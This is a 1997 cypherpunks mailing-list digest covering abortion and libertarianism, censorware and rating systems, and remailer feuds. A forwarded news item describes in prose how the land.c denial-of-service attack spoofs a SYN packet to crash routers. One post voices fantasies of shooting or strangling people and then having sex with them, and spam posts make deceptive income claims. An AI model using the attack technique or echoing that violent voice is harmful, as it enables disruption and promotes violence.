themselves libertarians. Sometimes what is meant is freedom from interference in the market rather than real freedom. Jay From jmr at shopmiami.com Thu Dec 4 04:05:31 1997 From: jmr at shopmiami.com (Jim Ray) Date: Thu, 4 Dec 1997 20:05:31 +0800 Subject: Sabrin in NJ (Was: Re: Censorial leftists ... Message-ID: <3.0.16.19971204065549.09e7efce@pop.gate.net> -----BEGIN PGP SIGNED MESSAGE----- At 06:45 AM 12/4/97 -0500, Jay Holovacs wrote: ... >Interestingly, New Jersey's recent Libertarian candidate (Sabrin) lost my >wife's vote when his own ads portrayed him as anti choice. Mr. Sabrin also accepted political welfare (matching funds, a form of compelled speech if ever I saw one). This annoyed me, since he did it in a nationwide campaign for contributions claiming that this retreat from principle would give him a chance to win. As I recall, he got about 10% of the vote, and IMO didn't even deserve that. He was, however, another great argument for NOTA's (None Of The Above) candidacy -- as if another one were needed. JMR -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Freedom isn't Freeh. iQEPAwUBNIaaKzUhsGSn1j2pAQGjHAfQ1a1MJKRyDr7gBgR1nGCcbTrVvLTdQ5NZ Ce2Z4w1XPzb/6ml8uilPZE1/4oDCmwWH5R42NW6QmPpQjeQSmqh3cCApo11AeZ+/ ZRQQxD+SO3FtrnGXr+kGD2CniY6UxXBfzTYtAjpdv5roF4jkRxJwkd9px/GyZjCg jyKMTTaZTVoTfZUbadjFhyX14OjJ7gkbxFOkZKHBZ1lYes6fpW4Yj6V0selR6CKp 3jJHmHAJUgWbdwhaU3rIHpV5+7QKYyk7dFRblS5pC0p91rec5JDNAecfXYltwNwR YLTcg0gqYLIPOQi0MlJxXYBogKMbYxXC7a7YOQS+OiUUug== =7bMC -----END PGP SIGNATURE----- From whgiii at invweb.net Thu Dec 4 05:21:30 1997 From: whgiii at invweb.net (William H. Geiger III) Date: Thu, 4 Dec 1997 21:21:30 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <1.5.4.32.19971204114530.006ef8dc@idt.net> Message-ID: <199712041305.IAA30177@users.invweb.net> -----BEGIN PGP SIGNED MESSAGE----- In <1.5.4.32.19971204114530.006ef8dc at idt.net>, on 12/04/97 at 06:45 AM, Jay Holovacs said: >At 05:16 PM 12/3/97 -0800, Declan McCullagh wrote: >> >>Libertarians are self-governors in both personal and economic matters. >>They believe government's only purpose is to protect people from coercion >>and violence. They value individual responsibility, and tolerate economic >>and social diversity. >> >Interestingly, New Jersey's recent Libertarian candidate (Sabrin) lost my >wife's vote when his own ads portrayed him as anti choice. Do I really want to start this thread up .... An intriguing selection of NewSpeak being used here. The forcible ending of another humans life is wrong (add in the standard caveats for self-defence). When it is a planed event it is called Murder. No society in the history of mankind has permitted unrestricted murder of fellow members of society on such superficial excuses of inconvenience. To call this murder "choice" just doesn't pass the straight face test. It is on the same level as calling what the Germans did to the Jews "choice". >Several members of the religious right also call themselves libertarians. >Sometimes what is meant is freedom from interference in the market rather >than real freedom. While such superficial labeling may make it easier for you and your wife to sleep at night it has nothing to do with the issue at hand. This is neither a religious issue nor a left-right issue any more than theft is. Nothing inconsistent with being a Libertarian and anti Murder. - -- - --------------------------------------------------------------- William H. Geiger III http://users.invweb.net/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a-sha1 Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBNIaqcY9Co1n+aLhhAQIUEwQAg7t+xyjhMQqnjaoK6s7p0UBrqzeFBcQp x10S2Ees0Xu7mYlPF1oi9LZXWlgsd41td7YOU3U7KwnQ95GY8ah9FHZR0o2BF+ye dfgy0kuKBXYcMs1HmWtziKcs+uJ25OgG1cXqRJLyMLi7YgDAAhTcniQkGgt8t7CK oXj+qXxt+LA= =1lCh -----END PGP SIGNATURE----- From jschult at javanet.com Thu Dec 4 05:25:45 1997 From: jschult at javanet.com (Jeff Schult) Date: Thu, 4 Dec 1997 21:25:45 +0800 Subject: Lieberman/Clinton Message-ID: <01bd00b4$97a92580$d2a085d0@jschult.javanet.com> > >Well, this isn't entirely true. Some of the loudest voices in >banning/regulating crypto come from the left:Senator Lieberman, >Senator Feinstein,Rep. Dellums, the Clinton Administration in >general, etc. The fear of 'bomb making information' and 'terrorist Lieberman is hardly considered "of the left" in his home state -- he squeaked out a win over former Sen. Lowell Weicker by staking out positions considered to the right of Weicker and has stayed over that way. There have been recent articles in the Connecticut media speculating that Lieberman could become a Republican. Though that won't happen, GOP leaders were effusive about how welcome the senator would be ... As to the Clinton administration, if you can pin it down from minute to minute on the political spectrum, you're a lot faster with pins than I ... Jeff Schult Marketing Director, JavaNet http://www.javanet.com Internet culture and technology writer, New Haven (CT) Advocate From tom at Empire.Net Thu Dec 4 05:28:16 1997 From: tom at Empire.Net (tom) Date: Thu, 4 Dec 1997 21:28:16 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <199712041305.IAA30177@users.invweb.net> Message-ID: <199712041316.IAA18769@Empire.Net> William H. Geiger II writes: > > > In <1.5.4.32.19971204114530.006ef8dc at idt.net>, on 12/04/97 > at 06:45 AM, Jay Holovacs said: > > > >At 05:16 PM 12/3/97 -0800, Declan McCullagh wrote: > > >> > >>Libertarians are self-governors in both personal and economic matters. > >>They believe government's only purpose is to protect people from coercion > >>and violence. They value individual responsibility, and tolerate economic > >>and social diversity. > >> > > >Interestingly, New Jersey's recent Libertarian candidate (Sabrin) lost my > >wife's vote when his own ads portrayed him as anti choice. > > Do I really want to start this thread up .... > > An intriguing selection of NewSpeak being used here. The forcible ending > of another humans life is wrong (add in the standard caveats for > self-defence). When it is a planed event it is called Murder. No society > in the history of mankind has permitted unrestricted murder of fellow > members of society on such superficial excuses of inconvenience. > > To call this murder "choice" just doesn't pass the straight face test. It > is on the same level as calling what the Germans did to the Jews "choice". > > >Several members of the religious right also call themselves libertarians. > > >Sometimes what is meant is freedom from interference in the market rather > >than real freedom. > > While such superficial labeling may make it easier for you and your wife > to sleep at night it has nothing to do with the issue at hand. This is > neither a religious issue nor a left-right issue any more than theft is. > > Nothing inconsistent with being a Libertarian and anti Murder. > Semantics. When does a piece of tissue become a human being? When is it a 'life'? First define your terms. Then talk about murder. Tom -- Tom Gillman, Unix/AIX/Solaris/IRIX |"Personally, I have always found the Administrator-type Weenie For Hire |First Amendment to be a little irksome (404) 713-5189 <-- NEW PHONE # |and a nuisance" Patrick A. Townson, tom at empire.net |moderator, comp.dcom.telecom Don't even *think* that I speak for empire.net, Dave does that. key to UNIX: echo '16i[q]sa[ln0=aln100%Pln100/snlbx]sbA0D4D465452snlbxq'|dc From jya at pipeline.com Thu Dec 4 05:45:37 1997 From: jya at pipeline.com (John Young) Date: Thu, 4 Dec 1997 21:45:37 +0800 Subject: Land Attack on Routers/Servers Message-ID: <1.5.4.32.19971204132552.00b64cd0@pop.pipeline.com> Hackers Out for IP Blood with New Land Attack The Internet underworld last week unsheathed a new weapon capable of knocking out IP-based routers and servers, sending vendors scrambling to find ways to safeguard their gear. Land Attack, officially known as land.c program code, was posted on the Net by someone called "Meltman" and used last week in attacks on Cisco Systems, Inc. routers and Unix and Windows NT servers. Some of the targeted machines were slowed to a crawl, while others had to be rebooted. Land Attack represents a new twist on the dreaded "TCP SYN flooding" denial-of-service attack. But unlike TCP SYN flooding, Land Attack sends out just one sinister SYN packet in which the sending devices IP address has been swapped out for the IP address of the destination machine. When the destination machine tries to acknowledge receipt of the transmission, it ends up using its own address, which means it sends the message back to itself, resulting in a potentially fatal loopback condition. "If someone could find a way to use this Land Attack program to spread this across the Internet, it could cause major service disruptions," said Chris Klaus, chief technology officer at Internet Security Systems, Inc. ---------- More at: http://jya.com/land-attack.txt From whgiii at invweb.net Thu Dec 4 06:32:58 1997 From: whgiii at invweb.net (William H. Geiger III) Date: Thu, 4 Dec 1997 22:32:58 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <199712041316.IAA18769@Empire.Net> Message-ID: <199712041419.JAA30815@users.invweb.net> -----BEGIN PGP SIGNED MESSAGE----- In <199712041316.IAA18769 at Empire.Net>, on 12/04/97 at 08:16 AM, tom said: >Semantics. >When does a piece of tissue become a human being? When is it a 'life'? >First define your terms. Then talk about murder. Hmmmm well the safest answer to this is at the point of conception though I would imagine that it is hard for most to consider a couple of cells life. :=/ Unfortunately trying to pin an exact point after conception leads into an endless hair-splitting debate (should it be 1 week, 1 month, 3 months, ...). The current method of considering "birth" as the defining moment is quite arbitrary as is "viability outside the womb" as science is ever pushing this back. Considering we are talking life and death here don't you think it would be wise to error on the side of caution? I think everyone here would be outraged if the State started implementing capital punishment without being sure that the person is guilty. "Sorry we don't know if you did it or not but what the hell we'll gas you anyway." It should be noted that many who are against capital punishment are against it for that very reason. I have always beleived that executions should be public. If a society can't stomach to watch what the government does on their behalf then the governmnet shouldn't be doing it. I find it quite odd that a society can condone the murder of a 6mo old child so long as it is still in the womb yet would be horrified if the same thing was done to a child in an incubator in the neo-natal ward. Who knows maybe the pro-choice crowd *does* approve of a doctor taking a big pair of pliers, crushing the skull then ripping the arms and legs off a 6mo old then pulling out the shop vac to clean up the mess? - -- - --------------------------------------------------------------- William H. Geiger III http://users.invweb.net/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a-sha1 Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBNIa7xY9Co1n+aLhhAQJ+uwP+MxYxEcfnrXaTyAi1UzjBoe+CU09LFZor +x5yPeeMfZG6VMuQLCRYnpwcygwYJce6qKyj1T4Ty/3gglcp+dS3uU4qjak0+rUI NvSJbySGsOneGzOrkLBipKOjwloVhpNNSZOKMr/dfj+BvypLV5+IZXFYs5va1E/S b0/6JGOqXkg= =B7eg -----END PGP SIGNATURE----- From anon at anon.efga.org Thu Dec 4 07:04:11 1997 From: anon at anon.efga.org (Anonymous) Date: Thu, 4 Dec 1997 23:04:11 +0800 Subject: [RePol] Denizen Message-ID: <225c8ebafe5f0a6f706013832385db52@anon.efga.org> TruthMonger wrote: > Ralph Hotmail wrote: > > > > In a moment of boredom, I took the opportunity to check into "Denizen". > > I also read his posts under a number of names to the critical mass > > mailing list and their replies. > > > In saner moments, Beckjord runs the UFO and Bigfoot Museum. > > > > This is the person who wants to use BCC from an anonymous remailer to > > get his opinion to the subscribers of the Critical Mass list. The > > message is simple - if you help him out,you can kiss your remailer > > goodbye. > > Perhaps Ralph could help the anonymous remailer 'cause' by providing > remailer operators with a list of the 'bad' people who should not > be allowed to use remailers to promote their 'wrong' views. > Maybe Mr. Hotmail could also provide a list of 'bad' words and You're a dangerous person, TruthMonger -- you make people THINK. It's interesting that he mentioned the "Critical Mass" list, since one of the arrestees in last summer's Critical Mass civil disobedience blockade of San Francisco streets was none other than anti-remailer gadfly Gary L. Burnore of the fabled "DataBasix gang". I don't know whether he's a subscriber to that list or not. But according to Jeff Burchell's account of last summer's attack on the Huge Cajones Remailer by Burnore et al, someone from DataBasix did request that posts mentioning DataBasix and/or Gary Burnore should be blocked by the remailer net. Chutzpah! BTW, Burnore just made a post to alt.privacy.anon-server yesterday that looked like an attempt to suck up to the remailer user community. Unlike his recent practice of butting into TECHNICAL threads about the how-to of header pasting via PI, etc. to accuse the poster of wanting the information in order to "forge" posts in his name and "UCE bait" him, he actually gave the appearance of being helpful. Of course, in threads posted in other NGs, he's still fuming about "cowards" and "anonymous assholes" who "hide behind the skirts of a remailer". He's also indicated that he'll have databasix.com back on-line RSN. His hasty move from San Francisco to Raleigh-Durham, NC took DataBasix off of the air for awhile. Heads up! -- From declan at well.com Thu Dec 4 07:38:01 1997 From: declan at well.com (Declan McCullagh) Date: Thu, 4 Dec 1997 23:38:01 +0800 Subject: CDT and the Threat of Gov't Intervention In-Reply-To: <3.0.5.32.19971203090005.007d2340@206.40.207.40> Message-ID: At 12:56 -0700 12/3/97, Tim May wrote: >This is a wedge to demolish free speech, this "accuracy in labelling" >business. Religions could be forced to "accurately label" their messages. >Speech could be shut down while courts debate whether "misrepresentation" >occurred. As the saying goes, "What is truth?" [BTW, I recommend "Rationales and Rationalizations: Regulating the Electronic Media," which Bob edited. --Declan] =========== Subject: RE: FC: Mandatory vs. Voluntary Ratings, Date: Thu, 4 Dec 1997 7:24:07 -0500 From: "Robert L. Corn-Revere" To: declan at well.com Excerpted from Robert Corn-Revere, Television Violence and the Limits of Voluntarism, 12 Yale Journal on Regulation 187 (Winter 1995): What if the government decided that the practice of religion was in some way contrary to the national interest? Suppose it concluded that religion is the opiate of the masses, that the "seventh day of rest" is a drag on the national economy, that TV evangelists bilk the uneducated of their meager earnings or that sectarian disputes contribute to social unrest and violence. An unlikely scenario, certainly, but what if it happened? Government officials could give speeches setting out these positions, to be sure, but could they do more? Would it be permissible, for example, for key lawmakers to threaten punitive legislation if the National Council of Churches did not announce plans to close up shop? Could top Administration officials stage back-room meetings with church leaders to jawbone for change that would be consistent with the new policy? And, at the end of all this, could the President appear in a Rose Garden ceremony with the heads of the major denominations and minor sects to announce that -- for the good of the nation -- the parties had voluntarily agreed to phase out religion in America? Of course this could never happen. Americans would never tolerate such a frontal assault on cherished First Amendment freedoms. But what of the third and fourth clauses of the First Amendment, which command that "Congress shall make no law . . . abridging the freedom of speech, or of the press?" From Use-Author-Address-Header at [127.1] Thu Dec 4 07:53:43 1997 From: Use-Author-Address-Header at [127.1] (Anonymous) Date: Thu, 4 Dec 1997 23:53:43 +0800 Subject: Another of Gary Burnore's Lies Exposed In-Reply-To: <347f9d78.193389066@nntp.ix.netcom.com> Message-ID: <8a79c36c23626791ed29d293cab5cfa8@anonymous.poster> gburnore at netcom.com (Gary L. Burnore) wrote: > X-No-Archive: yes > :This puts all other claimed forgeries from a mail2news gateway, that you > :have taken an issue with, and used as a basis to form your claims against > :UCE-baiting, and such, as suspect. > > > Sure it does in your mind and I'm sure in the mind of the anon-asshole. Call someone an "asshole" all you like, but when you have to qualify that and call him a "black asshole", "gay asshole", "Jewish asshole", or "anon asshole", it only demonstrates your personal prejudice and bigotry. Your arguments are so weak that you must resort to ad hominem argumentation to divert attention from the facts. Repeating your unproven accusations over and over does not make them true. > All of that aside, the point is it has stopped since the remailers blocked the > address. Note btw, that the anon asshole is still claiming databasix does > this and databasix does that and yet databasix hasn't been connected to the > net since august. Are you claiming that all the DataBasix personnel no longer have access to the Internet simply because the databasix.com domain is down? Considering how lax Netcom is with their servers, any abuse you might allege could easily have come from someone with a Netcom account. You might as well reconnect databasix.com to the net because having it down is not a credible alibi -- not when most of the players involved have Netcom accounts, and a few even have shell accounts from which they could have run Perl scripts. > The issue now is as it was then. An asshole, posting anonymously, apparently > in an attempt to cause troubles for remailers at my expense is still at it. > > He OBVIOUSLY wants remailers shut down. I obviously don't. Your cute little conspiracy theory does not exactly square with the account of one of the remailer operators that you along with fellow DataBasix staffers Belinda Bryan and William J. McClatchie (aka "Wotan") harassed. Reread his message exposing your anti-remailer activities: http://infinity.nus.sg/cypherpunks/dir.archive-97.11.13-97.11.19/0432.html > End of story as far as I am concerned. Not as long as you want to keep it alive by claiming that you are a "victim" of some grand forgery, "UCE-baiting", "cyber stalking" scheme. Sam is right in doubting your claims that most of the things you allege happened to you even occurred. He pointed out that the one flimsy piece of evidence you've been able to produce more recently than February of 1997 originated from YOUR OWN DOMAIN! -- From CallNow at 1-800-493-2328Ext116771 Fri Dec 5 00:07:09 1997 From: CallNow at 1-800-493-2328Ext116771 (CallNow at 1-800-493-2328Ext116771) Date: Fri, 5 Dec 1997 00:07:09 -0800 (PST) Subject: - FREE Vitamins & Business - Message-ID: <32610508_10699447> AMAZING INCOME: UNLIMITED! New Weight Loss Capsules! ALL NATURAL! New Pyruvate, Guarana, Ginseng, Chromium--All in One! * Only $12.25/90 Count! (+S/H) * Quantity Discounts Available! * Free 90 Count Daily Multi with First Order: ASK! * Automatic MLM Distributorship Enrollment w/o obligation * NO sign up fees-NO monthly purchase required * NO ORDER TAKING yet unlimited commissions PLUS * Full Vitamin Line at "Wholesale Club" prices WHY PAY MORE? HURRY! CALL: (M-F 9-5) Nutrition World 1-800-493-2328 Ext. 116771 From declan at well.com Thu Dec 4 08:13:48 1997 From: declan at well.com (Declan McCullagh) Date: Fri, 5 Dec 1997 00:13:48 +0800 Subject: NYTimes oped: Federal laws better than censorware Message-ID: Check out the last paragraph of Andrew's op-ed: it's Larry Lessig's argument, though conveniently unattributed. It's also a dangerous one, and a favorite of leftists, claiming that "accountable" government regulations are somehow better than "unaccountable" private classification schemes. Of course Andrew neglects to say that the CDA was not just civil regulation like many FCC rules: it, and its successor, are criminal laws with serious jail time and up to quarter-million dollar fines if you violate them. He also neglects to say that the reason PICS was created is pressure from the Feds. Try as hard as they may, not even RSACi can throw you in jail -- unless Congress passes Murray's bill, which means it's no longer private-sector action. If the market VOLUNTARILY comes up with a rating system, I don't know how you can say that's worse than government censorship and possible jail time. (Read Solveig's op-ed on this, which I posted earlier this week.) Arguing that private selection is "worse" than government censorship is simply incoherent. If government is coercing industry to adopt a scheme, which is the direction we're heading now, then it's time to make the argument that the government pressure amounts to state action. Then eventually challenge it in court. I'm not sure if Andrew is going here or not, but some leftists (or "liberals," if you like) oppose rating systems and censorware because they think children have a general right to access information. Even if their parents buy the computers. I think this is another incoherent argument that we should be careful not to buy into. It may be a bad idea for parents to install such programs -- as it may be a bad idea to feed Junior poptarts instead of bran cereal -- but children do not have a of Constitutional right to have censorware-free computers. -Declan ============== Opinion: The Danger of Private Cybercops By ANDREW L. SHAPIRO At a conference this week on protecting children from the perils of the Internet, consensus emerged on a strategy to keep minors away from cyberporn: let the private sector handle it. Rather than relying on Government regulation, Vice President Al Gore said, parents should look to industry for tools that will let them filter Internet content. Civil libertarians are largely responsible for the success of this approach. Indeed, they convinced the Supreme Court that it would do less harm to free speech than the Communications Decency Act, the law criminalizing on-line indecency, which the Court struck down in June. Yet those advocates may now regret what they wished for, because some of their schemes seem to imperil free speech more than the act did. For example, software that users install to block out certain Internet content often excludes material that isn't indecent. One such program, Cybersitter, prevents users from visiting the site of the National Organization for Women. And the makers of these programs often won't even tell adults what sites have been blacklisted. Still worse is a protocol known as PICS that changes the Internet's architecture to make it easy to rate and filter content. PICS is theoretically neutral because it allows different groups to apply their own labels, but could hurt the Internet's diversity by requiring everything to be rated. Small, unrated sites would be lost. Moreover, these technologies enable what might be called total filtering, where objectionable speech of any type can be screened out effortlessly. Benign as this may seem, such filtering might be used not just by individuals but by employers, Internet service providers and foreign governments seeking to restrict information that others receive. The ground rules for an open society could also be undermined. When total filtering meets information overload, individuals can (and will) screen out undesired interactions, including those crucial to a vibrant political culture -- the on-line equivalents of a civil rights protest or a petition for a reform candidate. In such a filtered society, civil discourse and common understanding will suffer. This should lead us to think long and hard about the way that technology can be an even more cunning censor than law. That's not to say that Government solutions are problem-free or desirable. But at least when the state goes overboard, speech defenders have the safety valve of a First Amendment lawsuit. This legal recourse is not an option when politicians simply persuade industry and consumers to use speech-inhibiting tools. Who knows, free-speech advocates may find themselves nostalgic for public regulation after all. Andrew L. Shapiro is a fellow at Harvard Law School's Center for no the Internet and Society and at the Twentieth Century Fund. From declan at well.com Thu Dec 4 08:22:10 1997 From: declan at well.com (Declan McCullagh) Date: Fri, 5 Dec 1997 00:22:10 +0800 Subject: NYTimes oped: Federal laws better than censorware In-Reply-To: Message-ID: At 11:02 -0500 12/4/97, Declan McCullagh wrote: >Check out the last paragraph of Andrew's op-ed: it's Larry >Lessig's argument, though conveniently unattributed. Let me retract this particular statement. I'm told that Lessig was properly cited then edited out late last night. -Declan From CallNow at 1-940-383-1233 Fri Dec 5 01:05:19 1997 From: CallNow at 1-940-383-1233 (CallNow at 1-940-383-1233) Date: Fri, 5 Dec 1997 01:05:19 -0800 (PST) Subject: - POWERFUL HOME BASED MONEY MAKER - Message-ID: <80418673_61901004> **************************** THE MOST POWERFUL HOME BASED MONEY MAKER IN THE WORLD! *$10,000 Plus Per Month Possible With Little Or No Effort! *The Only True Money Back Guarantee! *Complete Turnkey System Does All Of �The Work For You! *Phenomenal Product! *Anyone Can Succeed Immediately! *Powerful Monthly Residual! *No Selling - No Recruiting *No talking To Anyone *No Presentation To Learn *No Meetings To Attend *No People To Manage *No Product Inventory *No Response HeadAches Never Worry About Money Again!!! Takes 2 Minutes To Find Out How!!! Call Now!!! TOLL FREE 1-888-248-1794 or (888) 693-5490 FOD 703-736-1600 Document 825 Please have a pen handy when making this call FOD 703-736-1600 Document 825 NEW: Customer Service Department (To Answer All of Your Questions!) (940) 383-1233 Hours - 9am to 9pm "CST" Monday thru Friday - Sat - 9am to 5pm �-- Sun-- 12pm to 6pm "CST" P.S.hold on to this email. You'll need this control number. GI0927EM control number Dear Friend for the past 2 years, I've put countless hours into numerous business ventures and MLM. Yet I have never achieved true success. Then I found a program, where anyone can succeed immed- iately and put profit in their pocket almost overnight! This gets better and better every day! During my short tenure with this company, I received a profit check of $4579.83 after my second month. I didn't have to worry about the headaches of sponsoring of people. I signed the application and immediatedly, the company went to work for me. Prosperous regards, Leon S. Gillis CONTROL NUMBER: GI0927EM From tm at dev.null Thu Dec 4 09:05:54 1997 From: tm at dev.null (TruthMonger) Date: Fri, 5 Dec 1997 01:05:54 +0800 Subject: The Revolution is NOW ! / Free Bill Gates ! / Philly 'White Shoes' Zimmermann In-Reply-To: <199712022156.NAA24800@netcom13.netcom.com> Message-ID: <3486DF32.12FF@dev.null> Vladimir Z. Nuri wrote: > there's a simple solution to anyone who doesn't > like the so-called "mandatory voluntary" rating systems. > > START YOUR OWN!! BladderMirror is right in suggesting that there is a genuine perceived need/market for censorware, and that those upset with the prospect of having an m-v rating system shoved down their throat could probably pick up some serious cash by writing a technologically beneficial and usable censorware product. Doing so might well delay the steady Forced Electronic March To Battan, by providing proponenets of censorship less ammo for their show-and-tell horror shows to people who already agree with them, but who need to be worked into a proper frenzy in order to feel justified forcing fascist legislation on their friends and neighbors. The danger, of course, in descending into the Belly of the Beast in order to grab a few of the gold coins from the government and corporate feeding troughs, is that there always seems to increasing numbers of coins just a little further down the decreasingly lighted passageway. As well, one finds oneself being accompanied by more and more fellow travellers who are trying to convince themself that there is both physical and moral safety in numbers, until they end up freefalling in the bottomless pit, convinced that they have the Great Beast on the run. > anyone is free to create software that filters whatever > sites they deem appropriate, to use whatever algorithms > they think are legitimate. I heard two shots I'm So Vlad, but only one seems to have hit the target. Is the other bullet in your foot? Anyone pointing out our 'freedom' to "use" whatever we "deem appropriate" for our purpose should probably avoid using the word "algorithms" in the same sentence, lest they encounter return fire aimed toward the EAR. > there is a legitimate market for filtering software, and > it is growing. who is to say what software can be run on > someone else's computer? who is to tell parents they shouldn't > use a filtering package for their own children? > > filtering software can be as simple or complex > as we wish. ultimately end users are voting with their money. I'm Vlad I'm Vlad I'm Vlad may well be the World's Most Dangerous CypherPunk. The question is, "A danger to who?" There is a legitimate market for "Hit Man" instruction manuals, and it is growing. Who is to say what words can be printed on someone else's paper? Who is to tell people they shouldn't use a 'filtering package' on their enemies? The sticky point is that the majority of 'freedom advocates' are only advocating a 'one-way' freedom--Freedom To Believe As I Do! End users are only allowed to use their money to vote for available and/or approved products, and their 'vote' is often no more meaningful than those of the people in South America who elected a 'foot powder' to office because of a political-spoof billboard advertising campaign for the product. > the froth over the rating systems seems to me mostly > overblown. I do agree however that they should not be > made mandatory based on the law. > > the free market is solving the problem. we have ratings > agencies and people (such as GLAAD) who rate the rating > agencies. I don't see anything worth hyperventilating about. Vladder You Than Me is invariably right in most of what he has to say. The problem is that those taking a polar-opposite view are also usually right about what _they_ say. The Lake of Life is indeed turning over at a faster and faster rate, and the lines between 'random acts of violence' and 'random acts of kindness' are becoming increasingly blurred. The same seems to be increasingly true for 'random acts of logic' and 'random acts of lunacy.' After spending several seconds engaged in deep thought about the fact that 'It's All Done With Mirrors' and 'Everything You Know Is Wrong', I have reached the conclusion that 'It Is What It Is' and that, regardless of what role we have taken upon ourselves to play upon this mortal plane, 'It's The Only Dance There Is.' (Hey! Maybe _I'm_ John Young!) I woke up this morning contemplating whether or not it is now true that Phil Zimmermann is the Enemy (TM) and Bad BillyG is now my Best Friend In The Whole World (TM). The bottom line, as far as I am concerned (although I have a deep- rooted fear of sounding like our recent "Why can't we just all get along?" Anonymous Goody-Two-Shoes), is that I hope that both Billy and Philly remember that "We're here for a good time, not a long time. So have a good time...the sun doesn't shine every day." I carry on my person, at all times, a list of whom I think the world would be better off without, in case I happen to get a chance to put a bullet between their eyes, or slowly strangle them to death until the life force has been drained from their sorry carcass and they are now in the proper mood for sex. I do, however, try to keep in mind that whatever the Psychic Mind Controllers tell us is good to eat will eventually be relabelled as poisonous, and vice versa. Thus I prefer not to carry heavy artillery with me at all times, knowing that the more lengthy process of strangulation will give me time to sift through my mind to separate dreams from reality, giving me a chance to reevaluate my actions and quite possibly leave the target of my insanity with merely a stern reminder that a certain percentage of the people one pisses off in life will be psychotic sociopaths. After taking a quick peek at the Subject: header of this missive, I assume that the point of this rambling soliloquy is that it has been true, throughout history, that "The Revolution is NOW!" That has long been the title of the Lists that I compose, using the 'old' Crayola colors, as Mr. Chainsaw spins eternally in the background, whispering to me that I may be all that stands between the mass of humanity and the Great Evil that seeks to destroy us. And (admit it...) the same is true of yourself. The revolution is *always* NOW, for each and every one of us. If today's one-and-only choice is between BillyG and LouieFreeh, then, risking the wrath of Attila T. Hun, I must declare that Bad BillyG is, indeed, my Best Friend In The Whole World (TM). Why? Because I believe that Linux versus WinDolt gives us better odds in the coming battles than Guns versus Nukes. And I believe that I have a better chance of survival to fight another day if I am firing warning shots over Micro$haft's head rather than over the heads of the the Great Beast whose lair is in DC. I try to judge BillyG and PhillyZ with the same standards that I use to make my personal judgements regarding Declan. I consider Declan to be a tried and true ally who has made it his mission in life to descend into the Belly of the Beast and report back to us where the 'soft targets' are, and warn us of the 'fools gold' that is being used to lure us all down a road that leads to the bottomless trough. I would be sad to have to put an end to his life if he someday returns from his descent with glazed eyes, blathering, "GAK is Good!" Bad BillyG has managed to become the richest and one of the most powerful people in the world while committing only minor atrocities while providing vast, if futurally questionable, benefits for humanity. I have no fondness for BillyG for knocking some of my computer industry friends on their ass while going for the big score, but neither do I have a fondness for my hockey opponents when they knock my teamates on their butt while I am watching from the players bench. Good PhillyZ, after having done an enormous amount of good in the arena of privacy and encryption, is now in a position of having to peek into the mouth of the Great Beast, in order to spread strong crypto into the area where the great mass of humanity resides. If he deems it useful or necessary to descend into the Belly of the Beast in order to work toward the spread of strong, privacy-enabling encryption, I do not plan to abandon him too readily and begin viewing him as the Enemy. At the same time, I reserve the right to make my own personal decision as to when it becomes necessary to put my friends or enemies out of 'my' misery, because the Revolution is NOW! Heaven and Earth are impartial; They see the ten thousand things as straw dogs. The wise are impartial; They see the people as straw dogs. It is too late in the game to waste time defending old definitions which no longer apply. The future is in motion, and there will be a great cost associated with not moving with it. Caesars throughout history have shown us that there is a thin line which separates allies, strange bedfellow, and enemies--and the line is constantly moving. We are fast approaching Instant Karma. The future is now. The Revolution is NOW! TruthMonger From ashapiro at interport.net Thu Dec 4 09:07:07 1997 From: ashapiro at interport.net (Andrew Shapiro) Date: Fri, 5 Dec 1997 01:07:07 +0800 Subject: NYTimes oped: Federal laws better than censorware In-Reply-To: Message-ID: <3.0.1.16.19971204120003.2ff7b144@pop.interport.net> Hold your horses, folks. At 11:02 AM 12/4/97 -0500, Declan McCullagh wrote: >Check out the last paragraph of Andrew's op-ed: it's Larry >Lessig's argument, though conveniently unattributed. For space reasons, the Times cut my attribution to Larry (as he knows and will tell you). The piece was 700 words at 7:00 pm yesterday, 425 words at 7:15. Believe me, I was sorry not to be able to credit my friend, colleague, and former teacher. And incidentally, it was the third-to-last graph, not the last (is this kind of looseness with the facts a coincidence?). >Of course Andrew neglects to say that the CDA was not just >civil regulation like many FCC rules: it, and its >successor, are criminal laws Hello? in graph 2: "Communications Decency Act, the law *criminalizing* on-line indecency..." >He also neglects to say that the reason PICS was created is >pressure from the Feds. You're wrong or overstating the case. PICS began as an effort -- rightly enough -- to *respond to* and/or *stave off* laws like the CDA. But did the Feds "pressure" anyone to come up with PICS? No. I just double-checked with someone linked to PICS's founding, who told me: "Nobody in the federal government ever came to the 3WC and told them to create PICS." And even if the Feds had "pressured" someone to do so, that wouldn't in anyway justify its speech-inhibiting design features. Now, as to whether politicians are pressuring industry to *use* PICS and other total filtering schemes, that's another question. >Try as hard as they may, not even RSACi can throw you in >jail That's irrelevant, Declan. Day-to-day, speech can be inhibited as much by technology as by law. In fact, you're the one who's shown us that so well with your countless posts about the dangers of censorware. >If the market VOLUNTARILY comes up with a rating system, I >don't know how you can say that's worse than government >censorship and possible jail time. That's not what I said. I'm not in favor of censorship and I oppose any attempt to *criminalize* 'indecent' speech. But criminalize does not = regulate. >children do >not have a of Constitutional right to have >censorware-free computers. Really! I seem to recall *you* making the argument that kids have first amendment rights to access any information, particularly in public facilities like libraries. The 17 1/2 year old college freshman perhaps? Did you change you mind? -- Andrew >============== > >Opinion: The Danger of Private Cybercops > >By ANDREW L. SHAPIRO > > >At a conference this week on protecting children from the >perils of the Internet, consensus emerged on a strategy to >keep minors away from cyberporn: let the private sector >handle it. Rather than relying on Government regulation, >Vice President Al Gore said, parents should look to >industry for tools that will let them filter Internet >content. > >Civil libertarians are largely responsible for the success >of this approach. Indeed, they 